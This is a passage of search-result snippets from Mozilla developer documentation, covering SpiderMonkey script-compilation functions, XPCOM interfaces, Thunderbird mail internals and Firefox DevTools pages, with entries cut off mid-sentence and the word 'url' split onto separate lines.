. nargs unsigned int number of arguments to pass to the function. argnames const char ** names to assign to the arguments passed to the function. body const char * or const jschar * string containing the body of the function to compile. length size_t the length, in characters, of body. filename const char * name of file or
url containing the function. used to report filename or
url in error messages. lineno unsigned int line number. used to report the offending line in the file or
url if an error occurs. description js_compilefunction compiles a function from a text string, bytes, and optionally associates it with a js object, obj. js_compileucfunction is the unicode version of the function. nam...
...ed function. nargs is the number of arguments the function takes, and argnames is a pointer to the first element of an array of names to assign each argument. the number of argument names should match the number of arguments specified in nargs. body is a string containing the source code of the function. length is the length of the source code in characters. filename is the name of the file (or
url) containing the function. this information is used in error messages if an error occurs during compilation. similarly, lineno is used to report the line number where an error occurred during compilation. if both obj and name are non-null, the new function becomes a method of obj. (a new property is defined on obj with the given name and the new function object as its value.) on success, js_comp...
JS_CompileFunctionForPrincipals
nargs unsigned int number of arguments to pass to the function. argnames const char ** names to assign to the arguments passed to the function. body const char * or const jschar * string containing the source code of the function to compile. length size_t the length, in characters, of body. filename const char * name of file or
url containing the function. used to report filename or
url in error messages. lineno unsigned int line number. used to report the offending line in the file or
url if an error occurs. description js_compilefunctionforprincipals compiles a security-enabled function from a text string, bytes, and associates it with a js object, obj. js_compileucfunctionforprincipals is the unico...
...eated function. nargs is the number of arguments the function takes, and argnames is a pointer to the first element of an array of names to assign each argument. the number of argument names should match the number of arguments specified in nargs. body is the string containing the source code of the function. length is the length of the string in characters. filename is the name of the file (or
url) containing the function. this information is passed in messages if an error occurs during compilation. similarly, lineno is used to report the line number of the function or file where an error occurred during compilation. on success, js_compilefunctionforprincipals and js_compileucfunctionforprincipals return a pointer to the newly compiled function. on error or exception, they return null. s...
JS_CompileScriptForPrincipals
t. obj jsobject * object with which the script is associated. principals jsprincipals * pointer to the structure holding the security information for this script. src const char * or const jschar * string containing the script to compile. length size_t the length of src, in characters. filename const char * name of file or
url containing the function. used to report filename or
url in error messages. lineno unsigned int line number. used to report the offending line in the file or
url if an error occurs. version jsversion javascript version for the script. description js_compilescriptforprincipals compiles a security-enabled script, src, for execution. js_compileucscriptforprincipa...
...xecution. js_compileucscriptforprincipals is the unicode version of the function. the script is associated with a js object. principals is a pointer to the jsprincipals structure that contains the security information to associate with this script. src is the string containing the text of the script. length indicates the length of the script, in characters. filename is the name of the file (or
url) containing the script. this information is included in error messages if an error occurs during compilation. similarly, lineno is used to report the line number of the script or file where an error occurred during compilation. on success, js_compilescriptforprincipals and js_compileucscriptforprincipals return a pointer to the compiled script. on error or exception, they return null. the appli...
JS_EvaluateScript
er must be in a request on this jscontext. obj jsobject * the scope in which to execute the script. this parameter is documented in detail at js_executescript. src const char * or const jschar * string containing the script to compile and execute. length unsigned int the length of src, in characters. filename const char * name of file or
url containing the script. used to report filename or
url in error messages. lineno unsigned int line number. used to report the offending line in the file or
url if an error occurs. rval jsval * out parameter. on success, if rval is not null, *rval receives the result value. description js_evaluatescript compiles and executes a script in the specified scope, obj...
...rameter. on success, if rval is not null, *rval receives the result value. description js_evaluatescript compiles and executes a script in the specified scope, obj. js_evaluateucscript is the unicode version of the function. src is the string containing the text of the script. length indicates the size of the text version of the script in characters. filename is the name of the file (or
url) containing the script. this information is used in messages if an error occurs during compilation. similarly, lineno is used to report the line number of the script or file where an error occurred during compilation. rval is an optional out parameter. if it is non-null, then on success, the result value is stored in *rval. this value is determined the same way as for the standard eval function.
JS_EvaluateScriptForPrincipals
is documented in detail at js_executescript. principals jsprincipals * pointer to the structure holding the security information for this script. src / bytes / chars const char * or const jschar string containing the script to compile and execute. length unsigned int the length of src, in characters. filename const char * name of file or
url containing the script. used to report filename or
url in error messages. lineno unsigned int line number. used to report the offending line in the file or
url if an error occurs. rval jsval * out parameter. on success, *rval receives the value from the last-executed expression statement in the script. version jsversion javascript version for the script...
...ompiles and executes a script in the specified scope, obj. js_evaluateucscriptforprincipals is the unicode version of the function. principals is a pointer to the jsprincipals structure that contains the security information to associate with this script. src is the string containing the text of the script. length is the length of the script, in characters. filename is the name of the file (or
url) containing the script. this information is used in messages if an error occurs during compilation. similarly, lineno is used to report the line number of the script or file where an error occurred during compilation. if the script compiles and executes successfully, *rval receives the value from the last-executed expression statement processed in the script, and js_evaluatescriptforprincipals o...
Shell global objects
element if present with value v, convert v to an object o and mark the source as being attached to the dom element o. if the property is omitted or v is null, don't attribute the source to any dom element. elementattributename if present and not undefined, the name of property of element that holds this code. this is what debugger.source.prototype.elementattributename returns. sourcemap
url if present with value v, convert v to a string, and provide that as the code's source map
url. if omitted, attach no source map
url to the code (although the code may provide one itself, via a //#sourcemapping
url comment). sourceislazy if present and true, indicates that, after compilation, script source should not be cached by the js engine and should be lazily loaded from the embedding as...
...nbailout(var) in ionmonkey only, asserts that variable has recoveredonbailout flag. withsourcehook(hook, fun) set this js runtime's lazy source retrieval hook (that is, the hook used to find sources compiled with compileoptions::lazy_source) to hook; call fun with no arguments; and then restore the runtime's original hook. return or throw whatever fun did. hook gets passed the requested code's
url, and should return a string. notes: spidermonkey may assert if the returned code isn't close enough to the script's real code, so this function is not fuzzer-safe. the runtime can have only one source retrieval hook active at a time. if fun is not careful, hook could be asked to retrieve the source code for compilations that occurred long before it was set, and that it knows nothing about...
TPS Password Lists
optional. ...
...login.example.com", username: "joe", password: "secret123", usernamefield: "uname", passwordfield: "pword", changes: { password: "zippity-do-dah" } }, { hostname: "http://www.example.com", realm: "login", username: "joe", password: "secretlogin" } ]; each object has the following properties: hostname: the hostname for the password. required. submit
url: the submit
url for the password. optional. used for passwords in form fields. realm: the http realm for the password. optional. used for http authentication passwords. username: required. password: required. usernamefield: the username field for a form password. optional. passwordfield: the password field for a form password. optional. changes: an object containing any of the above properties, w...
History Service Design
ng storage. this system provides additional performance, flexibility, and querying capabilities over the old one, for both end users and extensions developers. view the service interface definition: nsinavhistoryservice.idl. objectives the primary objectives of the new history service implementation in places are: improve access to browsing history allow association of useful metadata with
urls flexible query system for both end-users and add-ons developers clean architecture for ease of code reuse and maintainability the most known and visible feature of history are views. the user can query his visits based on a date range, meta contents or revisit behavior. this involves storing informations on all of the user's visits, including visit time, type of visit and meta data. old hist...
...ase indexes are quite important, and a good query can make the difference between minutes or seconds. many queries are especially optimized, for example limited history queries, often used to build menus, allowing for good performances even in presence of a really large history. storing pages and visits pages (intended as uris) are stored into a table shared by both history and bookmarks, every
url is unique in this table and is associated with a place id, commonly used as the foreign key on other tables. this table has common attributes for a page like typed, hidden and frecency. certain scheme are excluded from history, so they will never be added, for example: about, view-source, chrome. if a page can be added we first check if it exists already, then it is added or updated accordingly ...
Components.utils.Sandbox
ise": the promise constructor is available by default for sandboxes, and you use this option to remove it from the sandbox. note that "-promise" is removed in firefox 37. ...
...e constructor is available by default for sandboxes, and you use this option to remove it from the sandbox. note that "-promise" is removed in firefox 37. ...
Components.utils.importGlobalProperties
syntax void components.utils.importglobalproperties([string1, string2, ...]); parameters [string1, string...
... syntax void components.utils.importglobalproperties([string1, string2, ...]); parameters [string1, string2, ...] an array ...
imgILoader
mmary to this article. ...
...nnel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamlistener alistener); boolean supportimagewithmimetype(in string mimetype); constants constant value description load_cors_anonymous 1 << 16 load_cors_use_credentials 1 << 17 methods loadimage() start the load and decode of an image. imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocument
url, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy ); parameters auri the uri to load. ainitialdocument
url areferreruri the 'referring' uri. aloadingprincipal the principal of...
nsIAppShellService
interfaces.nsiappshellservice); method overview void closetoplevelwindow(in nsixulwindow awindow); obsolete since gecko 1.8 void createhiddenwindow(in nsiappshell aappshell); native code only! ...
...long awindowwidth, in long awindowheight ); parameters awindowwidth the width to make the initial window(s) opened. awindowheight the height to make the initial window(s) opened. return value true if a window was opened. createtoplevelwindow() this method creates a window, which will be initially invisible. nsixulwindow createtoplevelwindow( in nsixulwindow aparent, in nsiuri a
url, in boolean ashowwindow, in boolean aloaddefaultpage, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell ); parameters aparent the parent window. can be null. a
url the contents of the new window. ashowwindow obsolete since gecko 1.8 the window remains invisible if pr_false. aloaddefaultpage obsolete since gecko 1.8 controls whe...
nsICRLInfo
read only. lastupdate prtime the time this crl was created at. read only. lastupdatelocale astring lastupdate formatted as a human readable string formatted according to the environment locale. read only. ...
...read only. lastupdate prtime the time this crl was created at. read only. lastupdatelocale astring lastupdate formatted as a human readable string formatted according to the environment locale. read only. ...
nsICachingChannel
gchannel.idlscriptable please add a summary to this article. inherits from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface provides: support for "stream as file" semantics (for jar and plugins). support for "pinning" cached data in the cache (for printing and save-as). support for uniquely identifying cached data in cases when the
url is insufficient. for example a http form submission. a channel may optionally implement this interface to allow clients to affect its behavior with respect to how it uses the cache service. method overview boolean isfromcache(); obsolete since gecko 2.0 attributes attribute type description cacheasfile boolean specifies whether or not the data should be cached to a file. this may fail...
.... exceptions thrown ns_error_not_available when there is not offline cache token. constants constant value description load_no_network_io 1 << 26 this load flag inhibits fetching from the net. an error of ns_error_document_not_cached will be sent to the listener's onstoprequest if network io is necessary to complete the request. this flag can be used to find out whether fetching this
url would cause validation of the cache entry via the network. combining this flag with load_bypass_local_cache will cause all loads to fail. this flag differs from load_only_from_cache in that this flag fails the load if validation is required while load_only_from_cache skips validation where possible. load_check_offline_cache 1 << 27 this load flag causes the offline cache to be checked when fe...
nsIChromeFrameMessageManager
content/base/public/nsimessagemanager.idlscriptable handles loading of content in a remote chrome frame. 1.0 66 introduced gecko 2.0 inherits from: nsiframemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void loadframescript(in astring a
url, in boolean aallowdelayedload); void removedelayedframescript(in astring a
url); methods loadframescript() loads a script into the remote frame. void loadframescript( in astring a
url, in boolean aallowdelayedload ); parameters a
url the
url of the script to load into the frame; this must be an absolute
url, but data:
urls are supported. aallowdelayedload if true, the script will be loaded when the...
...nto the frame; this must be an absolute
url, but data:
urls are supported. aallowdelayedload if true, the script will be loaded when the remote frame becomes available; otherwise, the script will only be loaded if the frame is already available. removedelayedframescript() removes a script from the list of scripts supporting delayed load. void removedelayedframescript( in astring a
url ); parameters a
url the
url of the script to remove from the list of scripts supporting delayed load. see also content process event handling nsicontentframemessagemanager nsiframeloader nsiframemessagelistener ...
nsIEditorMailSupport
current document. insertascitedquotation() insert a string as quoted text (whose representation is dependent on the editor type), replacing the selected text (if any), including, if possible, a "cite" attribute. nsidomnode insertascitedquotation( in astring aquotedtext, in astring acitation, in boolean ainserthtml ); parameters aquotedtext the actual text to be quoted. acitation the "mid"
url of the source message. ainserthtml insert as html? (vs plaintext) return value the nsidomnode which was inserted. insertasquotation() insert a string as quoted text (whose representation is dependent on the editor type), replacing the selected text (if any). nsidomnode insertasquotation( in astring aquotedtext ); parameters aquotedtext the actual text to be quoted. return value the nsidomno...
...ollapsed selection. void inserttextwithquotations( in domstring astringtoinsert ); parameters astringtoinsert the string to be inserted pasteascitedquotation() paste a string as quoted text, whose representation is dependent on the editor type, replacing the selected text (if any) void pasteascitedquotation( in astring acitation, in long aselectiontype ); parameters acitation the "mid"
url of the source message. aselectiontype text or html? pasteasquotation() paste the text in the os clipboard at the cursor position, as a quotation (whose representation is dependent on the editor type), replacing the selected text (if any). void pasteasquotation( in long aselectiontype ); parameters aselectiontype text or html? rewrap() rewrap the selected part of the document, re-quoting if ...
nsIFilePicker
irectory that the file picker dialog should initially display. this should be set this before calling open() or show() to specify a starting point. file nsilocalfile the currently selected file or directory. read only. files nsisimpleenumerator an enumerator of the currently selected files. read only. note: only works with modeopenmultiple mode. file
url nsiuri the uri of the currently selected file or directory. read only. filterindex long the (0-based) index of the filter which is currently selected in the file picker dialog. set this to choose a particular filter to be selected by default. constants mode constants these constants are used to specify the type of file picker to create when calling init(). ...
...w filters for file extensions. filterxml 0x010 corresponds to the *.xml filter for file extensions. filterxul 0x020 corresponds to the *.xul filter for file extensions. filterapps 0x040 corresponds to the platform specific application filter for file extensions. application files for the user's platform will pass through the filter. filterallow
urls 0x80 allow
urls. filteraudio 0x100 corresponds to the *.aac, *.aif, *.flac, *.iff, *.m4a, *.m4b, *.mid, *.midi, *.mp3, *.mpa, *.mpc, *.oga, *.ogg, *.ra, *.ram, *.snd, *.wav and *.wma filters for file extensions. filtervideo 0x200 corresponds to the *.avi, *.divx, *.flv, *.m4v, *.mkv, *.mov, *.mp4, *.mpeg, *.mpg, *.ogm, *.ogv, *.ogx, *.rm, *.rmvb, *.smil, *.w...
nsIHTMLEditor
returninparagraphcreatesnewparagraph boolean a boolean indicating if a return key pressed in a paragraph creates another paragraph or just inserts a <br> at th...
...etinlineproperty() void setinlineproperty( in nsiatom aproperty, in astring aattribute, in astring avalue ); parameters aproperty aattribute avalue setparagraphformat() insert a block paragraph tag around selection. void setparagraphformat( in astring aparagraphformat ); parameters aparagraphformat "p", "h1" to "h6", "address", "pre", or "blockquote" updatebase
url() set the base
url for the document to the current
url but only if the page doesn't have a <base> tag this should be done after the document
url has changed, such as after saving a file this is used as base for relativizing link and image
urls. void updatebase
url(); parameters none. ...
nsIHttpChannel
this should be set to false, for example, if the application knows...
... referrer nsiuri get or set the uri of the http referer: header. this is the address (uri) of the resource from which this channel's uri was obtained (see rfc2616 section 14.36). this attribute may only be set before the channel is opened. note: the channel may silently refuse to set the referer: header if the uri does not pass certain security checks (e.g., a "https://"
url will never be sent as the referrer for a plaintext http request). the implementation is not required to throw an exception when the referrer uri is rejected. exceptions thrown ns_error_in_progress if set after the channel has been opened. ns_error_failure if used for setting referrer during visitrequestheaders(). getting the value will not throw. ...
nsIParserUtils
for sanitizer: allow comment nodes. sanitizerallowstyle (1 << 1) flag for sanitizer: allow <style> elements and style attributes (with contents sanitized in case of -moz-binding). note: if -moz-binding is absent, properties that might be xss risks in other web engines are preserved! sanitizercidembedsonly (1 << 2) flag for sanitizer: only allow cid:
urls for embedded content. at present, sanitizing css backgrounds, and so on., is not supported, so setting this together with sanitizerallowstyle doesn't make sense. at present, sanitizing css syntax in svg presentational attributes is not supported, so this option flattens out svg. sanitizerdropnoncsspresentation (1 << 3) flag for sanitizer: drops non-css presentational html ...
...in src. parsefragment() parses markup into a sanitized document fragment. nsidomdocumentfragment parsefragment( in astring fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element ); parameters fragment the input markup. flags sanitization option flags defined above. isxml true if |fragment| is xml and false if html. baseuri the base
url for this fragment. element the context node for the fragment parsing algorithm. return value an nsidomdocumentfragment object for the resulting sanitized document fragment. sanitize() parses a string into an html document, sanitizes the document, and returns the result serialized to a string. the sanitizer is designed to protect against xss when sanitized content is inserted into a differ...
nsIPushSubscription
dom/interfaces/push/nsipushservice.idlscriptable includes information needed to send a push message to privileged code. inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) each subscription is associated with a unique
url generated by the push service. sending a post request to this
url routes the message to the instance of firefox that created the subscription. a subscription also has a public key and secret; these are used to encrypt message payloads. this interface resembles pushsubscription from the push api. method overview void getkey(in domstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key); bool quotaapplies(); bool isexpired(); attribute...
...o encrypt message payloads. this interface resembles pushsubscription from the push api. method overview void getkey(in domstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key); bool quotaapplies(); bool isexpired(); attributes attribute type description endpoint domstring the subscription
url. pushcount long long the total number of messages sent to this subscription. lastpush long long the last time a message was sent to this subscription, in milliseconds since the epoch. quota long the number of remaining background messages for this subscription, or -1 if exempt. methods getkey() returns a byte array containing the key material ...
nsISound
nd instances may play the sounds using another thread; however, this is not controlled by the caller. implemented by: @mozilla.org/sound;1. to use this interface, use: var sound = components.classes["@mozilla.org/sound;1"] .createinstance(components.interfaces.nsisound); method overview void beep(); void init(); void play(in nsi
url a
url); void playeventsound(in unsigned long aeventid); void playsystemsound(in astring soundalias); constants sound event constants constant value description event_new_mail_received 0 the system receives email. event_alert_dialog_open 1 an alert dialog is opened. ...
...p menu is shown. event_editor_max_len 7 more characters than the maximum allowed are typed into a text field. methods beep() plays a beep sound. void beep(); parameters none. init() not strictly necessary, but avoids a delay before the first sound. other methods will call init if they need to. void init(); parameters none. play() plays a sound specified by
url. void play( in nsi
url a
url ); parameters a
url the
url of the sound file to play. playeventsound() plays the system sound for the specified event. if the user's system is configured to not play system sound effects for the event, this will do nothing. warning: this method should not be used in modern code. please use the html 5 <audio> tag instead. void playeventsound( i...
nsITaggingService
nsivariant gettagsforuri(in nsiuri auri, [optional] out unsigned long length, [retval, array, size_is(length)] out wstring atags); attributes attribute type description alltags nsivariant retrieves all tags used to tag uris in the data-base (sorted by name). tagcontainericonspec autf8string retrieves the
url spec for the tag container icon methods taguri() this method tags a uri with the given set of tags. current tags set for the
url persist. tags in atags which are already set for the given uri are ignored. void taguri( in nsiuri auri, in nsivariant atags ); parameters auri the
url to tag. atags array of tags to set for the given uri. untaguri() this ...
... atags array of tags to unset. pass null to remove all tags from the given uri. geturisfortag() this method retrieves all uris tagged with the given tag. nsivariant geturisfortag( in astring atag ); parameters atag the tag name. ...
nsIUpdatePatch
representing a patch file that can be downloaded and applied to a version of this application so that it can be updated. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsidomelement serialize(in nsidomdocument updates); attributes attribute type description final
url astring the final
url this patch was being downloaded from. hashfunction astring the hash function to use when determining the integrity of the patch file. hashvalue astring the value of the hash function named in hashfunction that should be computed if the file is not corrupt. selected boolean true if this patch is currently selected as the patch to be downloaded and installed for this up...
... installed for this update transaction. false if another update is selected. size unsigned long the size of the patch file in bytes. state astring the state of this patch. type astring the type of patch represented by the object: "partial" a binary difference between two application versions. "complete" a complete patch containing all the replacement files to update to the new version.
url astring the
url from which the patch was downloaded. methods serialize() serializes the patch object into a dom element. nsidomelement serialize( in nsidomdocument updates ); parameters updates the dom document into which to serialize the patch. return value the patch object serialized into an nsidomelement. see also nsiupdate nsiupdatechecklistener nsiupdatechecker nsiapplicationupdates...
nsIXMLHttpRequest
application (like a mozilla extension) without using observers: var req = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('post', "http://www.foo.bar:8080/nietzsche.do", true); req.send('your=data&and=more&stuff=here'); example 2 var {cu: utils, cc: classes, ci: instances} = components; cu.import('resource://gre/modules/services.jsm'); function xhr(
url, cb) { let xhr = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(ci.nsixmlhttprequest); let handler = ev => { evf(m => xhr.removeeventlistener(m, handler, !1)); switch (ev.type) { case 'load': if (xhr.status == 200) { cb(xhr.response); break; } default: ...
...ak; } default: services.prompt.alert(null, 'xhr error', 'error fetching package: ' + xhr.statustext + ' [' + ev.type + ':' + xhr.status + ']'); break; } }; let evf = f => ['load', 'error', 'abort'].foreach(f); evf(m => xhr.addeventlistener(m, handler, false)); xhr.mozbackgroundrequest = true; xhr.open('get',
url, true); xhr.channel.loadflags |= ci.nsirequest.load_anonymous | ci.nsirequest.load_bypass_cache | ci.nsirequest.inhibit_persistent_caching; xhr.responsetype = "arraybuffer"; //dont set it, so it returns string, you dont want arraybuffer. you only want this if your
url is to a zip file or some file you want to download and make a nsiarraybufferinputstream out of it or something xhr.sen...
XPCOM Interface Reference by grouping
accessiblerole nsiaccessiblescrolltype nsiaccessibleselectable nsiaccessiblestates nsiaccessibletable nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender script nsiscriptableunescapehtml nsiscriptableunicodeconverter nsiscripterror nsiscripterror2 stylesheet nsistylesheetservice
url nsiuri nsi
url util nsidomserializer nsidomxpathevaluator nsidomxpathexception nsidomxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download nsidownload nsidownloadmanager nsidownloadprogresslistener element internal nsiworker nsiworkerglobalscope nsiworkermessageevent nsi...
... nsibinaryinputstream nsibinaryoutputstream nsicontentsniffer nsiconverterinputstream nsifileinputstream nsifileoutputstream nsiinputstream nsiinputstreamcallback nsioutputstream nsioutputstreamcallback nsiscriptableinputstream nsistreamlistener
url nsiioservice nsistandard
url user nsiprompt nsipromptservice zipfile nsizipentry nsizipreader nsizipreadercache nsizipwriter file nsifilepicker nsifileprotocolhandler ...
Filelink Providers
nect a user to their account. other providers however may require the user to fill in additional details in order to connect to the service. hightail, for example, requires a username and password. other services may require the user to fill in a server string or port number. a provider implementation can choose what information it gets from the user from the setup dialog by pointing the settings
url attribute of their nsimsgcloudfileprovider implementation to a chrome
url for an xhtml page that contains a form with the extra information. that
url is then loaded into an iframe directly beneath the provider menulist. note: the setup dialog window should resize itself automatically in order to fit the content of the iframe without scrollbars. custom settings fields to handle custom settings,...
...s.account_key.username where account_key is the value passed into the implementations init function. the hightail settings.xhtml and settings.js file have examples of this. management interface once an account has been created, it is manageable from within the preferences dialog, in the attachment pane, in the outgoing tab. the content to the right of the menulist is an iframe, pointed at a
url read from the providers management
url attribute, which should point to an xhtml page. the xhtml page should have a function in the global scope called onloadprovider. this function is called automatically once the dom content is done loading, and is passed a single parameter - the provider instance whose data is being displayed. ...
MailNews Protocols
r, nsimapincomingserver, nsnntpincomingserver. a folder class, which implements nsimsgfolder, and inherits from nsmsgdbfolder. most commands/operations go through the folder object. nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object. ...
.... nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object. the service class creates and initializes the
url object for the operation, and hands that off to a protocol object to run. the service classes usually have their own interface, but they also implement nsimsgmessageservice. a
url object. these implement nsimsgmailnews
url, inherit from base/util/nsmsgmailnews
url, and implement their own protocol-specific interface (nsiimap
url, nsinntp
url, nsipop3
url). a protocol object that takes a
url and handles the network communications with the actual server required to run that
url. these implement nsimsgprotocol, inherit from nsmsgprotocol, and implement their own protocol-specific ...
Mail client architecture overview
format is used. datasources - datasources are the glue code that reflect mail data such as folders and messages into rdf. rdf will use the datasource to create user interfaces based on this data. datasources are also used to run commands that operate on this mail data. ...
...te user interfaces based on this data. datasources are also used to run commands that operate on this mail data. events - as data changes throughout the mail application, the event system notifies key components such as datasources and the
url system of these changes. mail window management - each mail window maintains a certain amount of state to aid in view navigation, progress display, etc.
url display and dispatching - in order to perform network operations such as downloading new mail, copying and moving messages, and displaying messages from a remote server, the
url system interacts with necko and reflects it's state to the mail window. there are also a number of protocol independant subsystems that have a symbiotic relationship with base: libmime - for dealing with rfc822 messa...
Mail composition back end
*attachment1_body, pruint32 attachment1_body_length, - the full text of the first attachment is provided via `attachment1_type' `attachment1_body' and `attachment1_body_length'. these may all be 0 if all attachments are provided externally. const struct nsmsgattachmentdata *attachments, - subsequent attachments are provided as
urls to load, described in the nsmsgattachmentdata structures. const struct nsmsgattachedfile *preloaded_attachments, - attachments that are already locally stored on disk (note: both attachments and preloaded_attachments cannot be specified on a single call void *relatedpart /* nsmsgsendpart */, - a related part for multipart r...
...*auseridentity, - the user identity for the person doing the send operation. this will be needed to determine the appropriate folder for copy operations. nsimsgcompfields *fields, - the message composition fields. this will contain all of the relevant header information for message delivery nsiuri *
url, - the uri of the message composition fields. this will contain all of the relevant header information for message delivery nsmsgdelivermode mode, - mode is the delivery mode. this can be set for the various modes of delivery (i.e. send later, drafts, templates or send the message now) nsimsgsendlistener **ali...
Theme Packaging
tall-manifest"> <em:type>4</em:type> more properties </description> </rdf> required install.rdf properties your install.rdf file must have the following properties. see the install.rdf reference for more information: em:id em:version em:type em:targetapplication em:name em:internalname optional install.rdf properties em:description em:creator em:contributor em:homepage
url em:update
url note that if your theme will be made available on the https://addons.mozilla.org website, it may not include an update
url. sample install.rdf file <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{18b64b56-d42f-428d-a88c-baa413bc413...
...-9b0e-13a3a9e97384}</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>0.9</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>new theme 1</em:name> <em:description>a test theme for thunderbird</em:description> <em:creator>ben goodger</em:creator> <em:contributor>john doe</em:contributor> <em:homepage
url>http://www.bengoodger.com/</em:homepage
url> <!-- front end integration hooks (used by theme manager)--> <em:internalname>newtheme1</em:internalname> </description> </rdf> the following are some common target application guids that you can use in your targetapplication properties: thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6} seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} ...
Using popup notifications
that's not very pretty; where's the icon? adding an icon to your notification adding an icon to a notification is simple. you just need to provide the appropriate css. the popupnotifications.jsm code module adds a popupid attribute to the notification object's icon element. ...
... ...
Streams - Plugins
although a single stream is associated with one specific instance of a plug-in, a plug-in can have more than one stream object per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. ...
...the stream is not seekable, these requests are fulfilled only when all the data has been read and stored in the cache. once all data in the stream has been written to the plug-in, the stream is destroyed. to do this, either the browser can call npp_destroystream or the plug-in can call npn_destroystream. this applies to all plug-in modes except np_seek. note: a plug-in can also use the npn_get
url method to request a stream for an arbitrary
url. telling the plug-in when a stream is deleted the browser calls the npp_destroystream method when it completes the stream sent to the plug-in, either successfully or abnormally. once the plug-in returns from this method, the browser deletes the npstream object. the plug-in can terminate the stream itself by calling npn_destroystream. you should ...
DOM Inspector FAQ - Firefox Developer Tools
how do i inspect a web site/window? the file menu contains approaches which will allow you to inspect a document. inspect content document inspect content, e.g., unprivileged web pages loaded in a browser tab. inspect chrome document inspect application chrome, including open xul windows, e.g., the browser window. ...
...aches which will allow you to inspect a document. inspect content document inspect content, e.g., unprivileged web pages loaded in a browser tab. inspect chrome document inspect application chrome, including open xul windows, e.g., the browser window. inspect a
url this just focuses the dom inspector's address bar, which allow you to inspect arbitrary documents which can be accessed via a
url. this causes the document to be loaded in the browser pane. these can include chrome documents, but it's not suggested that you inspect xul documents by directly inspecting them via
url, since some behavior may rely on the document being contained in another xul document, or the converse, where it won't behave correctly because it doesn't expect to be loaded as a framed document. instead, get the...
Use a source map - Firefox Developer Tools
s a file that maps from the transformed source to the original source, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger. to enable the debugger to work with a source map, you must: generate the source map include a comment in the transformed file, that points to the source map. ...
...x is like this: //# sourcemapping
url=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html. this page loads a source called "main.js" that was originally written in coffeescript and compiled to javascript. the compiled source contains a comment like this, that points to a source map: //# sourcemapping
url=main.js.map in the debugger's source list pane, the original coffeescript source now appears as "main.coffee", and we can debug it just like any other source. ...
Source map errors - Firefox Developer Tools
y the developer. you can sometimes encounter problems working with source maps. this page explains the most common problems and how to fix them. note: if you're new to source maps, you can learn more about them in how to use a source map. general source map error reporting if you do see a problem, a message will appear in the webconsole. this message will show an error message, the resource
url, and the source map
url: here, the resource
url tells us that bundle.js mentions a source map, and the source map
url tells us where to find the source map data (in this case, relative to the resource). the error tells us that the source map is not json data — so we're serving the wrong file. there are a few common ways that source maps can go wrong; they are detailed in the following sect...
... bug in firefox prevents it from loading source maps for web extensions. see bug 1437937: webextensions doesn't find source maps for details. source-map-fehler: typeerror: networkerror when attempting to fetch resource. ressourcen-adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js source-map-adresse: background.js.map the only workaround is to manually change the map
url to a public one (http://localhost:1234/file.map.js) and start a local webserver at this port. ...
Index - Firefox Developer Tools
r the page, enabling you to select with pixel precision. underneath the magnifying glass it shows the color value for the current pixel using whichever scheme you've selected in settings > inspector > default color unit: 34 index tools found 158 pages: 35 json viewer firefox includes a json viewer. if you open a json file in the browser, or view a remote
url with the content-type set to application/json, it is parsed and given syntax highlighting. arrays and objects are shown collapsed, and you can expand them using the "+" icons. 36 measure a portion of the page design, devtools, developer, firefox, layout, measure, measuring, measuring tool, tools using the measuring tool you can measure a specific area of a web page. 37...
...gpoint. logpoints print a message to the console panel instead of pausing code execution. 135 set an xhr breakpoint debugger, debugging, javascript, xhr breakpoint an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program. you can break on all requests or on those that include a specific
url. to turn on the feature: 136 set event listener breakpoints debugger, dev tools, event debugging, event handler, event listener, javascript debugging, tools, breakpoint, events starting with firefox 69, debugging an application that includes event handlers is simplified because the debugger now includes the ability to automatically break when the code hits an event handler. t...
Network request details - Firefox Developer Tools
s toolbar using the headers toolbar, you can: filter the headers in the response headers and request headers sections. block the domain involved in this request. the domain is added to the blocking sidebar. resend the request. the resend button opens a menu with two items: resend: simply resends the request. ...
... a menu with two items: resend: simply resends the request. edit and resend: enables an editing mode, where you can modify the method,
url, request headers, or request body of the request. click send to send the modified request, or cancel to cancel editing. request information the following information is shown only when the section is expanded: scheme: the scheme used in the
url host: the server involved in the request filename: the full path to the file requested address: the ip address of the host the following information is shown in both the collapsed and the expanded states: status: the http response code for the request. version: the http version used transferred: the amount of data transferred with the request the referrer policy, which governs which re...
Web Console Helpers - Firefox Developer Tools
